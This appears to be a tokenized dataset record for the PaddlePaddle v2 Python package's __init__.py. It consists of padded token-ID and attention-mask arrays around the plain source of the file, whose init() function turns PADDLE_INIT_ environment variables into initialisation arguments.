32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 11994, 26, 1736, 63, 5570, 1817, 199, 3, 4885, 3868, 85, 951, 14, 14612, 199, 3, 6148, 26, 7349, 25298, 9708, 199, 199, 504, 8335, 492, 1218, 63, 3908, 12, 6957, 12, 4996, 12, 24905, 12, 7225, 12, 4516, 12, 13686, 12, 11140, 199, 504, 8335, 492, 3504, 12, 436, 63, 199, 646, 2197, 465, 4487, 421, 199, 533, 1736, 63, 5570, 837, 523, 347, 636, 826, 721, 277, 12, 1592, 63, 633, 304, 272, 485, 3908, 275, 1218, 63, 3908, 8, 697, 63, 633, 9, 272, 485, 2105, 275, 485, 3908, 14, 2242, 342, 272, 485, 2343, 275, 24905, 342, 272, 485, 800, 63, 5570, 275, 6957, 480, 800, 63, 5570, 401, 485, 2343, 12, 2079, 4996, 480, 6524, 43, 63, 40, 1311, 63, 998, 401, 7225, 12, 5062, 63, 498, 29, 549, 395, 2079, 4996, 480, 22592, 63, 998, 401, 7225, 395, 2079, 4996, 480, 6072, 63, 21942, 401, 4516, 395, 2079, 4996, 480, 840, 63, 7438, 401, 13686, 395, 2079, 4996, 480, 3902, 63, 7438, 401, 13686, 395, 2079, 4996, 480, 6533, 63, 20690, 401, 11140, 395, 2079, 4996, 480, 5798, 63, 7438, 401, 13686, 430, 272, 485, 2343, 14, 981, 63, 452, 1547, 3908, 9, 272, 291, 14, 2105, 275, 485, 2105, 272, 291, 14, 800, 63, 5570, 275, 485, 800, 63, 5570, 272, 986, 12244, 347, 5518, 63, 475, 8, 277, 12, 666, 304, 272, 365, 63, 1078, 275, 715, 272, 327, 367, 1242, 315, 666, 26, 272, 327, 257, 340, 440, 1242, 26, 272, 327, 258, 365, 63, 1078, 275, 756, 272, 327, 258, 746, 18110, 2081, 480, 7718, 450, 83, 9539, 450, 1242, 9, 272, 340, 365, 63, 1078, 26, 489, 5261, 63, 1131, 275, 291, 14, 800, 63, 5570, 14, 3176, 1252, 1459, 8, 576, 9, 489, 291, 14, 2105, 14, 2526, 8, 3617, 63, 1131, 9, 819, 347, 664, 63, 452, 8, 277, 304, 272, 308, 275, 3504, 779, 277, 14, 800, 63, 5570, 6575, 1648, 63, 991, 360, 6072, 63, 21942, 358, 272, 754, 275, 291, 14, 2105, 14, 2526, 8, 83, 9, 272, 372, 754, 819, 347, 664, 63, 991, 63, 5191, 8, 277, 12, 1343, 63, 602, 12, 1284, 63, 602, 304, 272, 308, 275, 3504, 779, 277, 14, 800, 63, 5570, 6575, 4509, 8, 460, 2531, 277, 14, 800, 63, 5570, 14, 67, 14, 840, 63, 7438, 2356, 1343, 63, 602, 12, 221, 5101, 291, 14, 800, 63, 5570, 14, 67, 14, 3902, 63, 7438, 2695, 1284, 63, 602, 430, 272, 754, 275, 291, 14, 2105, 14, 2526, 8, 83, 9, 272, 372, 754, 27404, 347, 664, 63, 19231, 63, 1412, 63, 1618, 63, 368, 63, 2977, 8, 277, 12, 11168, 12, 7239, 304, 272, 5117, 275, 4487, 14, 2083, 8, 8136, 14, 3403, 12, 11168, 14, 4482, 12, 11168, 14, 2977, 12, 378, 12, 378, 12, 378, 9, 272, 7008, 275, 4487, 14, 2083, 8, 8136, 14, 3403, 12, 11168, 14, 4482, 12, 11168, 14, 2977, 12, 6546, 12, 8155, 12, 8155, 9, 272, 870, 8, 2325, 9, 272, 870, 8, 4142, 9, 272, 308, 275, 3504, 779, 277, 14, 800, 63, 5570, 6575, 4509, 8, 460, 2531, 277, 14, 800, 63, 5570, 14, 67, 14, 3902, 63, 7438, 690, 5117, 12, 221, 6343, 291, 14, 800, 63, 5570, 14, 67, 14, 3902, 63, 7438, 665, 7008, 12, 6343, 291, 14, 800, 63, 5570, 14, 67, 14, 22592, 63, 998, 508, 7239, 430, 272, 754, 275, 291, 14, 2105, 14, 2526, 8, 83, 9, 272, 372, 754, 16872, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
pengli09/Paddle
python/paddle/v2/__init__.py
4
2228
# Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import optimizer import layer import activation import parameters import trainer import event import data_type import topology import networks import evaluator from . import dataset from . import reader from . import plot import attr import op import pooling import inference import networks import minibatch import plot import image import model import paddle.trainer.config_parser as cp __all__ = [ 'optimizer', 'layer', 'activation', 'parameters', 'init', 'trainer', 'event', 'data_type', 'attr', 'pooling', 'dataset', 'reader', 'topology', 'networks', 'infer', 'plot', 'evaluator', 'image', 'master', 'model', ] cp.begin_parse() def init(**kwargs): import py_paddle.swig_paddle as api args = [] args_dict = {} # NOTE: append arguments if they are in ENV for ek, ev in os.environ.iteritems(): if ek.startswith("PADDLE_INIT_"): args_dict[ek.replace("PADDLE_INIT_", "").lower()] = str(ev) args_dict.update(kwargs) # NOTE: overwrite arguments from ENV if it is in kwargs for key in args_dict.keys(): args.append('--%s=%s' % (key, str(args_dict[key]))) if 'use_gpu' in kwargs: cp.g_command_config_args['use_gpu'] = kwargs['use_gpu'] if 'use_mkldnn' in kwargs: cp.g_command_config_args['use_mkldnn'] = kwargs['use_mkldnn'] assert 'parallel_nn' not in kwargs, ("currently 'parallel_nn' is not " "supported in v2 APIs.") api.initPaddle(*args) infer = inference.infer batch = minibatch.batch
apache-2.0
[ 3, 1898, 334, 67, 9, 7800, 510, 20101, 48, 20101, 6642, 14, 2900, 5924, 5702, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 646, 747, 199, 646, 10736, 199, 646, 4045, 199, 646, 10361, 199, 646, 2633, 199, 646, 3560, 281, 199, 646, 1566, 199, 646, 666, 63, 466, 199, 646, 14611, 199, 646, 11759, 199, 646, 29207, 199, 504, 1275, 492, 4789, 199, 504, 1275, 492, 7002, 199, 504, 1275, 492, 5137, 199, 646, 1921, 199, 646, 1687, 199, 646, 20699, 199, 646, 17353, 199, 646, 11759, 199, 646, 30829, 199, 646, 5137, 199, 646, 1834, 199, 646, 1402, 199, 646, 28525, 14, 2834, 281, 14, 888, 63, 2087, 465, 7667, 199, 199, 363, 452, 363, 275, 359, 272, 283, 12290, 297, 272, 283, 1897, 297, 272, 283, 12312, 297, 272, 283, 3214, 297, 272, 283, 826, 297, 272, 283, 2834, 281, 297, 272, 283, 1430, 297, 272, 283, 576, 63, 466, 297, 272, 283, 962, 297, 272, 283, 28624, 297, 272, 283, 5214, 297, 272, 283, 5503, 297, 272, 283, 10775, 297, 272, 283, 7642, 297, 272, 283, 14578, 297, 272, 283, 2798, 297, 272, 283, 27406, 297, 272, 283, 1569, 297, 272, 283, 4133, 297, 272, 283, 1238, 297, 199, 61, 199, 199, 1850, 14, 5037, 63, 1122, 342, 421, 199, 318, 4205, 3682, 958, 304, 272, 492, 1134, 63, 80, 20101, 14, 9676, 63, 80, 20101, 465, 2986, 272, 1249, 275, 942, 272, 1249, 63, 807, 275, 1052, 272, 327, 6944, 26, 5666, 2368, 340, 2985, 787, 315, 5070, 54, 272, 367, 325, 75, 12, 8145, 315, 747, 14, 2314, 14, 4611, 837, 267, 340, 325, 75, 14, 2460, 480, 48, 9732, 906, 63, 8727, 63, 2349, 288, 1249, 63, 807, 59, 5711, 14, 1814, 480, 48, 9732, 906, 63, 8727, 29808, 25354, 2325, 5106, 275, 620, 8, 6857, 9, 339, 1249, 63, 807, 14, 873, 8, 958, 9, 272, 327, 6944, 26, 8970, 2368, 687, 5070, 54, 340, 652, 365, 315, 2074, 272, 367, 790, 315, 1249, 63, 807, 14, 1612, 837, 267, 1249, 14, 740, 4517, 5, 83, 2458, 83, 7, 450, 334, 498, 12, 620, 8, 589, 63, 807, 59, 498, 11845, 339, 340, 283, 1180, 63, 6477, 7, 315, 2074, 26, 267, 7667, 14, 71, 63, 1531, 63, 888, 63, 589, 459, 1180, 63, 6477, 418, 275, 2074, 459, 1180, 63, 6477, 418, 272, 340, 283, 1180, 63, 3880, 1447, 4411, 7, 315, 2074, 26, 267, 7667, 14, 71, 63, 1531, 63, 888, 63, 589, 459, 1180, 63, 3880, 1447, 4411, 418, 275, 2074, 459, 1180, 63, 3880, 1447, 4411, 418, 272, 702, 283, 11887, 63, 4411, 7, 440, 315, 2074, 12, 1689, 19767, 283, 11887, 63, 4411, 7, 365, 440, 298, 1460, 298, 4946, 315, 373, 18, 15913, 2685, 339, 2986, 14, 826, 48, 20101, 2031, 589, 9, 421, 199, 14578, 275, 17353, 14, 14578, 199, 2912, 275, 30829, 14, 2912, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 334, 67, 9, 7800, 510, 20101, 48, 20101, 6642, 14, 2900, 5924, 5702, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 646, 747, 199, 646, 10736, 199, 646, 4045, 199, 646, 10361, 199, 646, 2633, 199, 646, 3560, 281, 199, 646, 1566, 199, 646, 666, 63, 466, 199, 646, 14611, 199, 646, 11759, 199, 646, 29207, 199, 504, 1275, 492, 4789, 199, 504, 1275, 492, 7002, 199, 504, 1275, 492, 5137, 199, 646, 1921, 199, 646, 1687, 199, 646, 20699, 199, 646, 17353, 199, 646, 11759, 199, 646, 30829, 199, 646, 5137, 199, 646, 1834, 199, 646, 1402, 199, 646, 28525, 14, 2834, 281, 14, 888, 63, 2087, 465, 7667, 199, 199, 363, 452, 363, 275, 359, 272, 283, 12290, 297, 272, 283, 1897, 297, 272, 283, 12312, 297, 272, 283, 3214, 297, 272, 283, 826, 297, 272, 283, 2834, 281, 297, 272, 283, 1430, 297, 272, 283, 576, 63, 466, 297, 272, 283, 962, 297, 272, 283, 28624, 297, 272, 283, 5214, 297, 272, 283, 5503, 297, 272, 283, 10775, 297, 272, 283, 7642, 297, 272, 283, 14578, 297, 272, 283, 2798, 297, 272, 283, 27406, 297, 272, 283, 1569, 297, 272, 283, 4133, 297, 272, 283, 1238, 297, 199, 61, 199, 199, 1850, 14, 5037, 63, 1122, 342, 421, 199, 318, 4205, 3682, 958, 304, 272, 492, 1134, 63, 80, 20101, 14, 9676, 63, 80, 20101, 465, 2986, 272, 1249, 275, 942, 272, 1249, 63, 807, 275, 1052, 272, 327, 6944, 26, 5666, 2368, 340, 2985, 787, 315, 5070, 54, 272, 367, 325, 75, 12, 8145, 315, 747, 14, 2314, 14, 4611, 837, 267, 340, 325, 75, 14, 2460, 480, 48, 9732, 906, 63, 8727, 63, 2349, 288, 1249, 63, 807, 59, 5711, 14, 1814, 480, 48, 9732, 906, 63, 8727, 29808, 25354, 2325, 5106, 275, 620, 8, 6857, 9, 339, 1249, 63, 807, 14, 873, 8, 958, 9, 272, 327, 6944, 26, 8970, 2368, 687, 5070, 54, 340, 652, 365, 315, 2074, 272, 367, 790, 315, 1249, 63, 807, 14, 1612, 837, 267, 1249, 14, 740, 4517, 5, 83, 2458, 83, 7, 450, 334, 498, 12, 620, 8, 589, 63, 807, 59, 498, 11845, 339, 340, 283, 1180, 63, 6477, 7, 315, 2074, 26, 267, 7667, 14, 71, 63, 1531, 63, 888, 63, 589, 459, 1180, 63, 6477, 418, 275, 2074, 459, 1180, 63, 6477, 418, 272, 340, 283, 1180, 63, 3880, 1447, 4411, 7, 315, 2074, 26, 267, 7667, 14, 71, 63, 1531, 63, 888, 63, 589, 459, 1180, 63, 3880, 1447, 4411, 418, 275, 2074, 459, 1180, 63, 3880, 1447, 4411, 418, 272, 702, 283, 11887, 63, 4411, 7, 440, 315, 2074, 12, 1689, 19767, 283, 11887, 63, 4411, 7, 365, 440, 298, 1460, 298, 4946, 315, 373, 18, 15913, 2685, 339, 2986, 14, 826, 48, 20101, 2031, 589, 9, 421, 199, 14578, 275, 17353, 14, 14578, 199, 2912, 275, 30829, 14, 2912, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 